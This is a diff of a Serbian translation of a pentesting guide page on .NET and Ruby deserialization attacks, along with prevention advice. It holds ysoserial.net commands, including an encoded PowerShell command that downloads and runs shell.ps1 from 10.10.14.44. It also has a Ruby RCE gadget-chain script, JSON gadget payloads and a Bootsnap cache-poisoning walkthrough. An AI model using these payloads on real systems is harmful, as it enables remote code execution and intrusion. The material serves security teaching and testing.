+- **`--plugin`** ysoserial.net podržava plugin-e za kreiranje **exploit-a za specifične framework-e** kao što je ViewState
 
-#### Više ysoserial.net parametara
+#### More ysoserial.net parameters
 
-- `--minify` će pružiti **manji payload** (ako je moguće)
-- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
-- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formate koji sadrže "xml" (ne razlikuje velika i mala slova)
+- `--minify` će obezbediti **manji payload** (ako je moguće)
+- `--raf -f Json.Net -c "anything"` Ovo će navesti sve gadgets koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
+- `--sf xml` možete **naznačiti gadget** (`-g`) i ysoserial.net će tražiti formatter-e koji sadrže "xml" (case insensitive)
 
-**ysoserial primeri** za kreiranje eksploatacija:
+**ysoserial primeri** za kreiranje exploit-a:
 ```bash
 #Send ping
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@@ -735,9 +748,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
 #Create exploit using the created B64 shellcode
 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
 ```
-**ysoserial.net** takođe ima **veoma zanimljiv parametar** koji pomaže da se bolje razume kako svaki exploit funkcioniše: `--test`\
-Ako navedete ovaj parametar, **ysoserial.net** će **pokušati** da **izvrši exploit lokalno,** tako da možete testirati da li vaš payload funkcioniše ispravno.\
-Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda kao što je sledeći (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
+**ysoserial.net** takođe ima **veoma interesantan parametar** koji pomaže da se bolje razume kako svaki exploit radi: `--test`\
+Ako navedete ovaj parametar **ysoserial.net** će **pokušati** **exploit lokalno,** tako da možete testirati da li će vaš payload raditi ispravno.\
+Ovaj parametar je koristan jer ako pregledate kod pronaći ćete odeljke koda poput sledećeg (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
 ```java
 if (inputArgs.Test)
 {
@@ -751,7 +764,7 @@ Debugging.ShowErrors(inputArgs, err);
 }
 }
 ```
-To znači da će kod pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao exploit.
+To znači da će, da bi testirao exploit, code pozvati [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
 ```java
 public static object JsonNet_deserialize(string str)
 {
@@ -762,46 +775,46 @@ TypeNameHandling = TypeNameHandling.Auto
 return obj;
 }
 ```
-U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva.\
-Zato **`--test`** parametar nam omogućava da razumemo **koji delovi koda su ranjivi** na deserializaciju exploit koji **ysoserial.net** može stvoriti.
+U prethodnom primeru kod je ranjiv na kreirani exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva.\
+Zato parametar **`--test`** omogućava da razumemo **koji delovi koda su ranjivi** na deserialization exploit koji **ysoserial.net** može da kreira.
 
 ### ViewState
 
-Pogledajte [ovaj POST o **kako pokušati da iskoristite \_\_ViewState parametar .Net**](exploiting-__viewstate-parameter.md) da **izvršite proizvoljan kod.** Ako **već znate tajne** koje koristi žrtvinska mašina, [**pročitajte ovaj post da saznate kako da izvršite kod**](exploiting-__viewstate-knowing-the-secret.md)**.**
+Pogledajte [ovu POST objavu o **kako pokušati eksploatisati \_\_ViewState parameter of .Net**](exploiting-__viewstate-parameter.md) da biste **izvršili arbitrary code.** Ako **već znate tajne** koje koristi žrtvina mašina, [**pročitajte ovu objavu da biste znali kako izvršiti kod**](exploiting-__viewstate-knowing-the-secret.md).
 
 ### Prevencija
 
-Da biste umanjili rizike povezane sa deserializacijom u .Net:
+Da biste ublažili rizike povezane sa deserialization u .Net:
 
-- **Izbegavajte dozvoljavanje podataka da definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kada je to moguće.
+- **Izbegavajte da tokovi podataka definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kad god je moguće.
 - **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
 - **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
-- **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može modifikovati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
-- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
-- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
+- **Ograničite tipove koji se mogu deserializovati**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može izmeniti svojstva fajlova na serveru i potencijalno dovesti do denial of service napada.
+- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje se može iskoristiti.
+- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserialization, što može učiniti ranjivim i `DataContractSerializer` ili `XmlSerializer`.
 - **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
-- **Budite informisani o poznatim nesigurnim deserializacijskim gadgetima** unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
-- **Izolujte potencijalno rizičan kod** od koda sa pristupom internetu kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
+- **Pratite poznate nesigurne deserialization gadgets** unutar .Net i osigurajte da deserializatori ne instanciraju takve tipove.
+- **Izolujte potencijalno rizičan kod** od koda koji ima pristup internetu kako biste izbegli izlaganje poznatih gadgets, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
 
-### **Reference**
+### Izvori
 
-- Java i .Net JSON deserializacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** predavanje: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Paper o Java i .Net JSON deserialization: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf), predavanje: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
 
 ## **Ruby**
 
-U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar **marshal** biblioteke. Prva metoda, poznata kao **dump**, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
+U Ruby-ju, serialization se obavlja pomoću dve metode unutar biblioteke **marshal**. Prva metoda, poznata kao **dump**, koristi se da transformiše objekat u niz bajtova — ovaj proces se naziva serialization. Suprotno tome, druga metoda, **load**, služi da vrati niz bajtova nazad u objekat — ovaj proces se naziva deserialization.
 
-Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu se čuva na jednom od nekoliko mogućih mesta:
+Za osiguranje serializovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi za ovu svrhu nalazi se u jednom od sledećih mogućih lokacija:
 
 - `config/environment.rb`
 - `config/initializers/secret_token.rb`
 - `config/secrets.yml`
 - `/proc/self/environ`
 
-**Ruby 2.X generička deserializacija u RCE gadget lanac (više informacija u** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
+**Ruby 2.X generic deserialization to RCE gadget chain (više informacija na** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
 ```ruby
 #!/usr/bin/env ruby
 
@@ -872,18 +885,18 @@ require "base64"
 puts "Payload (Base64 encoded):"
 puts Base64.encode64(payload)
 ```
-Drugi RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+Još jedan RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
 
-### Ruby .send() metoda
+### Ruby .send() metod
 
-Kao što je objašnjeno u [**ovom izveštaju o ranjivosti**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ako neki korisnički nesanitizovani unos dođe do `.send()` metode ruby objekta, ova metoda omogućava **pozivanje bilo koje druge metode** objekta sa bilo kojim parametrima.
+Kao što je objašnjeno u [**ovom izveštaju o ranjivosti**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ako neki nesanitizovan korisnički unos stigne do `.send()` metoda ruby objekta, ovaj metod omogućava da se **pozove bilo koji drugi metod** objekta sa bilo kojim parametrima.
 
-Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti izvršavanje proizvoljnog koda:
+Na primer, pozivanje eval i zatim ruby koda kao drugog parametra će omogućiti izvršavanje proizvoljnog koda:
 ```ruby
 <Object>.send('eval', '<user input with Ruby code>') == RCE
 ```
-Pored toga, ako samo jedan parametar **`.send()`** kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
-Za to, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
+Štaviše, ako je samo jedan parametar od **`.send()`** pod kontrolom napadača, kao što je pomenuto u prethodnom writeupu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
+Za ovo, moguće je enumerisati sve metode objekta kako bi se **pronašle neke zanimljive metode koje ispunjavaju te uslove**.
 ```ruby
 <Object>.send('<user_input>')
 
@@ -907,23 +920,23 @@ candidate_methods.length() # Final number of methods=> 3595
 ```
 ### Ruby class pollution
 
-Proverite kako bi moglo biti moguće da [zagađujete Ruby klasu i zloupotrebljavate je ovde](ruby-class-pollution.md).
+Proverite kako bi bilo moguće [pollute a Ruby class and abuse it in here](ruby-class-pollution.md).
 
 ### Ruby _json pollution
 
-Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar da izvrši neku akciju, moglo bi doći do zaobilaženja autorizacije.
+Kada se u body pošalju vrednosti koje nisu hashable, npr. array, one će biti dodate u novi ključ nazvan `_json`. Međutim, napadač takođe može u body postaviti ključ `_json` sa proizvoljnim vrednostima koje želi. Ako backend, na primer, proverava verodostojnost nekog parametra, ali zatim koristi parametar `_json` za izvršenje neke akcije, može doći do zaobilaženja autorizacije.
 
-Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollution.md).
+Više informacija potražite na [Ruby _json pollution page](ruby-_json-pollution.md).
 
-### Other libraries
+### Ostale biblioteke
 
-Ova tehnika je preuzeta[ **iz ovog blog posta**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
+Ova tehnika je preuzeta[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
-Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje se stoga mogu zloupotrebiti za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju učitane biblioteke kada se deserializuju (funkcija koja se zloupotrebljava za dobijanje RCE):
+Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje bi zbog toga mogle biti zloupotrebljene za dobijanje RCE tokom insecure deserialization. Sledeća tabela prikazuje neke od tih biblioteka i metod koji se poziva u učitanoj klasi kad se ona unserializuje (funkcija koja se u suštini može zloupotrebiti da bi se dobio RCE):
 
-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash(mapu) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteka</strong></td><td><strong>Ulazni podaci</strong></td><td><strong>Metod koji se pokreće u klasi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binarni</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klasa mora biti stavljena u hash (map) kao ključ)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
 
-Basic example:
+Osnovni primer:
 ```ruby
 # Existing Ruby class inside the code of the app
 class SimpleClass
@@ -945,7 +958,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje `hash` funkcije poziva `to_s`, koja poziva spec, koja poziva fetch_path, što je bilo moguće učiniti da preuzme nasumičnu URL adresu, pružajući odličan detektor ovih vrsta nesanitizovanih ranjivosti deserializacije.
+U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja u svojoj `hash` funkciji poziva `to_s`, koja zatim poziva spec, koja poziva fetch_path; to je omogućavalo da se natera da preuzme nasumičan URL, što predstavlja odličan detektor ovakvih unsanitized deserialization vulnerabilities.
 ```json
 {
 "^o": "URI::HTTP",
@@ -957,7 +970,7 @@ U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja
 "password": "anypw"
 }
 ```
-Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira folder, što je zahtev za zloupotrebu drugog uređaja kako bi se ovo pretvorilo u potpunu RCE sa nečim poput:
+Pored toga, utvrđeno je da se prethodnom tehnikom u sistemu kreira i direktorijum, što je preduslov za zloupotrebu drugog gadgeta kako bi se ovo transformisalo u potpunu RCE uz nešto poput:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
@@ -983,42 +996,45 @@ Check for more details in the [**original post**](https://github.blog/security/v
 
 ### Bootstrap Caching
 
-Nije baš ranjivost deseralizacije, ali je lep trik za zloupotrebu bootstrap keširanja kako bi se dobio RCE iz Rails aplikacije sa arbitrarnim pisanjem fajlova (pronađite kompletnu [originalnu objavu ovde](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
+Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
 
-Ispod je kratak pregled koraka detaljno opisanih u članku za iskorišćavanje ranjivosti arbitrarnog pisanja fajlova zloupotrebom Bootsnap keširanja:
+Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
 
-- Identifikujte Ranjivost i Okruženje
+- Identify the Vulnerability and Environment
 
-Funkcionalnost za upload fajlova u Rails aplikaciji omogućava napadaču da arbitrarnu piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao što su tmp su zapisivi zbog Docker-ovog korisnika bez root privilegija), to i dalje omogućava pisanje u Bootsnap keš direktorijum (obično pod tmp/cache/bootsnap).
+Rails aplikacija ima funkcionalnost za upload fajlova koja omogućava napadaču da proizvoljno upisuje fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao tmp su upisivi zbog Docker-ovog non-root korisnika), to i dalje dozvoljava upis u Bootsnap cache direktorijum (obično pod tmp/cache/bootsnap).
 
-- Razumite Bootsnap-ov Mehanizam Keširanja
+- Understand Bootsnap’s Cache Mechanism
 
-Bootsnap ubrzava vreme pokretanja Rails-a keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva keš fajlove koji uključuju zaglavlje keš ključa (sa poljima kao što su verzija Ruby-a, veličina fajla, mtime, opcije kompajliranja, itd.) praćeno kompajliranim kodom. Ovo zaglavlje se koristi za validaciju keša tokom pokretanja aplikacije.
+Bootsnap ubrzava Rails boot time keširanjem kompajliranog Ruby koda, YAML i JSON fajlova. Čuva cache fajlove koji uključuju cache key header (sa poljima kao što su Ruby version, file size, mtime, compile options, itd.) nakon čega sledi kompajlirani kod. Ovaj header se koristi za validaciju cache-a tokom pokretanja aplikacije.
 
-- Prikupite Metapodatke Fajla
+- Gather File Metadata
 
-Napadač prvo bira ciljni fajl koji će verovatno biti učitan tokom pokretanja Rails-a (na primer, set.rb iz Ruby-ove standardne biblioteke). Izvršavanjem Ruby koda unutar kontejnera, izvlače kritične metapodatke (kao što su RUBY_VERSION, RUBY_REVISION, veličina, mtime i compile_option). Ovi podaci su ključni za kreiranje validnog keš ključa.
+Napadač prvo izabere ciljnu datoteku koja se verovatno učitava tokom Rails startup-a (na primer, set.rb iz Ruby standardne biblioteke). Izvršavanjem Ruby koda unutar containera izvlače se ključni metadata (kao RUBY_VERSION, RUBY_REVISION, size, mtime, i compile_option). Ovi podaci su neophodni za izradu validnog cache key-a.
 
-- Izračunajte Putanju Keš Fajla
+- Compute the Cache File Path
 
-Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se ispravna putanja keš fajla. Ovaj korak osigurava da je maliciozni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
+Replikujući Bootsnap-ov FNV-1a 64-bit hash mehanizam, određuje se tačan put cache fajla. Ovaj korak osigurava da je maliciozni cache fajl postavljen upravo tamo gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
 
-- Kreirajte Maliciozni Keš Fajl
+- Craft the Malicious Cache File
 
 Napadač priprema payload koji:
 
-- Izvršava arbitrane komande (na primer, pokreće id da prikaže informacije o procesu).
-- Uklanja maliciozni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
-- Učitava originalni fajl (npr. set.rb) kako bi izbegao rušenje aplikacije.
+- Izvršava proizvoljne komande (na primer, pokretanje id da prikaže informacije o procesu).
+- Uklanja maliciozni cache nakon izvršenja da bi se izbegla rekurzivna eksploatacija.
+- Učitava originalni fajl (npr. set.rb) da se aplikacija ne sruši.
+
+Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim cache key header-om (koristeći prethodno prikupljene metadata i ispravnu verziju za Bootsnap).
+
+- Overwrite and Trigger Execution
+Korišćenjem arbitrarnog file write vuln-a, napadač upisuje kreirani cache fajl na izračunatu lokaciju. Zatim izaziva restart servera (npr. pisanjem u tmp/restart.txt, koji Puma nadgleda). Tokom restart-a, kada Rails require-uje ciljanu datoteku, maliciozni cache fajl se učitava, što dovodi do remote code execution (RCE).
 
-Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim zaglavljem keš ključa (koristeći prethodno prikupljene metapodatke i ispravnu verziju za Bootsnap).
 
-- Prepišite i Pokrenite Izvršenje
-Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, maliciozni keš fajl se učitava, što rezultira daljinskim izvršenjem koda (RCE).
 
 ### Ruby Marshal exploitation in practice (updated)
 
-Tretirajte svaku putanju gde neprovereni bajtovi dolaze do `Marshal.load`/`marshal_load` kao RCE odredište. Marshal rekonstruiše arbitrane grafove objekata i pokreće callback-ove biblioteka/gemova tokom materijalizacije.
+Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
+
 
 - Minimal vulnerable Rails code path:
 ```ruby
@@ -1034,36 +1050,38 @@ end
 end
 end
 ```
-- Uobičajene klase gadgeta viđene u stvarnim lancima: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
-- Tipičan marker sporednog efekta ugrađen u payload-ove (izvršava se tokom unmarshal):
+- Uobičajene gadget classes viđene u real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
+- Tipičan marker sporednog efekta ugrađen u payloads (izvršava se tokom unmarshal):
 ```
 *-TmTT="$(id>/tmp/marshal-poc)"any.zip
 ```
-Gde se pojavljuje u pravim aplikacijama:
-- Rails cache skladišta i skladišta sesija istorijski koristeći Marshal
-- Pozadine poslova i skladišta objekata sa fajlovima
-- Bilo koja prilagođena perzistencija ili transport binarnih objekata
+Gde se pojavljuje u realnim aplikacijama:
+- Rails cache stores i session stores koji su istorijski koristili Marshal
+- Backend-i za background job-ove i skladišta objekata zasnovana na fajlovima
+- Bilo koja prilagođena perzistencija ili prenos binarnih object blob-ova
 
-Industrijalizovano otkrivanje gadgeta:
-- Grep za konstruktore, `hash`, `_load`, `init_with`, ili metode sa sporednim efektima pozvane tokom unmarshal
-- Koristite CodeQL-ove Ruby nesigurne deserializacione upite da pratite izvore → odredišta i otkrijete gadgete
-- Validirajte sa javnim multi-format PoC-ima (JSON/XML/YAML/Marshal)
+Industrializovano otkrivanje gadget-a:
+- Grep za konstruktore, `hash`, `_load`, `init_with`, ili metode sa sporednim efektima koje se pozivaju tokom unmarshal
+- Koristite CodeQL-ove Ruby unsafe deserialization upite da pratite sources → sinks i izvučete gadget-e
+- Validirajte pomoću javnih multi-format PoCs (JSON/XML/YAML/Marshal)
 
-## Reference
 
-- Trail of Bits – Marshal ludilo: Kratak pregled Ruby deserializacionih eksploatacija: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
-- elttam – Ruby 2.x Univerzalni RCE Deserialization Gadget Lanac: https://www.elttam.com/blog/ruby-deserialization/
-- Phrack #69 – Rails 3/4 Marshal lanac: https://phrack.org/issues/69/12.html
-- CVE-2019-5420 (Rails 5.2 nesigurna deserializacija): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
-- ZDI – RCE putem Ruby on Rails Active Storage nesigurne deserializacije: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
-- Include Security – Otkriće gadget lanaca u Rubylandu: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
-- GitHub Security Lab – Ruby nesigurna deserializacija (pomoć za upit): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
-- GitHub Security Lab – PoC repozitorijum: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
+## References
+
+- Trail of Bits – Marshal madness: Kratka istorija Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
+- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
+- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
+- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
+- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
+- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
+- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
+- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
 - Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
-- Luke Jahnke – Ruby 3.4 univerzalni lanac: https://nastystereo.com/security/ruby-3.4-deserialization.html
-- Luke Jahnke – Gem::SafeMarshal bekstvo: https://nastystereo.com/security/ruby-safe-marshal-escape.html
-- Ruby 3.4.0-rc1 izdanje: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
-- Ruby popravka PR #12444: https://github.com/ruby/ruby/pull/12444
-- Trail of Bits – Revizija RubyGems.org (Marshal nalazi): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
+- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
+- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
+- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
+- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
+- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
+- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/java-signedobject-gated-deserialization.md

@@ -0,0 +1,140 @@
+# Java SignedObject-gated Deserialization i Pre-auth Reachability putem Error Paths
+
+{{#include ../../banners/hacktricks-training.md}}
+
